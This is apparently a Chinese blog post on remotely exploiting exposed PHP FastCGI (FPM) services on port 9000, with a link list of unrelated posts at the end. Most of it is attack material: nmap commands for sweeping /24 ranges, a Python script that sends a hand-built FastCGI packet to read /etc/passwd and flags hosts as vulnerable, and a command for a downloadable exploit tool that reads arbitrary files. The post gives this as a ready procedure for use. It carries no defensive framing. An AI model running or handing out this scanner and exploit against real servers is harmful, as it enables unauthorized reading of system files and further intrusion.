• FPM的远程利用


     看了lijiejie的博客,和乌云的PHPFastCGI的这篇文章,感觉在实际的业务中经常能遇到,所以在此记录下来:

    原文:http://www.lijiejie.com/fastcgi-read-file-vulnerability-scan-py/

    http://zone.wooyun.org/content/1060

    php的fastcgi目前通常叫做FPM。他默认监听的端口是9000端口。  

    可以用nmap来进行扫描一下:

    nmap -sV -p 9000 --open x.x.x.x/24

    检查出来的是存在9000端口开放的主机

    接着用nmap来指纹识别一下:

    nmap -sV -p 9000 --open 173.xxx.xxx.1/24 

    结果如下:

    [root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24 
    
    Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT 
    Nmap scan report for abc.net (173.xxx.xxx.111) 
    Host is up (0.0095s latency). 
    PORT     STATE SERVICE VERSION 
    9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0) 
    Service Info: OS: Linux; CPE: cpe:/o:linux:kernel 
    
    Nmap scan report for abc.com (173.xxx.xxx.183) 
    Host is up (0.0096s latency). 
    PORT     STATE SERVICE    VERSION 
    9000/tcp open  tcpwrapped 
    
    Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . 
    Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

    如果是对于内网的话可以用lijiejie写的py:

     1 import socket
     2 import sys
     3 
     4 def test_fastcgi(ip):
     5     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
     6     sock.connect((ip, 9000))
     7     data = """
     8     01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00
     9     01 04 00 01 00 8f 01 00  0e 03 52 45 51 55 45 53 
    10     54 5f 4d 45 54 48 4f 44  47 45 54 0f 08 53 45 52 
    11     56 45 52 5f 50 52 4f 54  4f 43 4f 4c 48 54 54 50 
    12     2f 31 2e 31 0d 01 44 4f  43 55 4d 45 4e 54 5f 52
    13     4f 4f 54 2f 0b 09 52 45  4d 4f 54 45 5f 41 44 44
    14     52 31 32 37 2e 30 2e 30  2e 31 0f 0b 53 43 52 49 
    15     50 54 5f 46 49 4c 45 4e  41 4d 45 2f 65 74 63 2f 
    16     70 61 73 73 77 64 0f 10  53 45 52 56 45 52 5f 53
    17     4f 46 54 57 41 52 45 67  6f 20 2f 20 66 63 67 69
    18     63 6c 69 65 6e 74 20 00  01 04 00 01 00 00 00 00
    19     """
    20     data_s = ''
    21     for _ in data.split():
    22         data_s += chr(int(_,16))
    23     sock.send(data_s)
    24     try:
    25         ret = sock.recv(1024)
    26         if ret.find(':root:') > 0:
    27             print ret
    28             print '%s is vulnerable!' % ip
    29             return True
    30         else:
    31             return False
    32     except Exception, e:
    33         pass
    34             
    35     sock.close()
    36 
    37 
    38 if __name__ == '__main__':
    39     if len(sys.argv) == 1:
    40         print sys.argv[0], '[ip]'
    41     else:
    42         test_fastcgi(sys.argv[1])

     然后就可以用:

    fcgi_exp.exe read XXX.XXX.XXX.XXX 9000 /etc/passwd

    EXP:http://www.lijiejie.com/wp-content/uploads/2015/06/fcgi_exp.zip

  • 相关阅读:
    springMVC必须的jar包
    project---clean
    maven项目 启动报错:java.lang.ClassNotFoundException: org.springframework.web.context.ContextLoaderListener
    @ResponseBody 注解
    HttpServletRequest 需要导入xx包?
    Maven中GroupID和ArtifactID
    Java中包、类、方法、属性、常量的命名规则
    使用 @RequestMapping 注解,需要导入的包:spring-webmvc
    【杂题】【动态规划】【搜索】——洛谷P1441砝码称重
    搞清clientHeight、offsetHeight、scrollHeight、offsetTop、scrollTop
  • 原文地址:https://www.cnblogs.com/sevck/p/4983051.html
Copyright © 2020-2023  润新知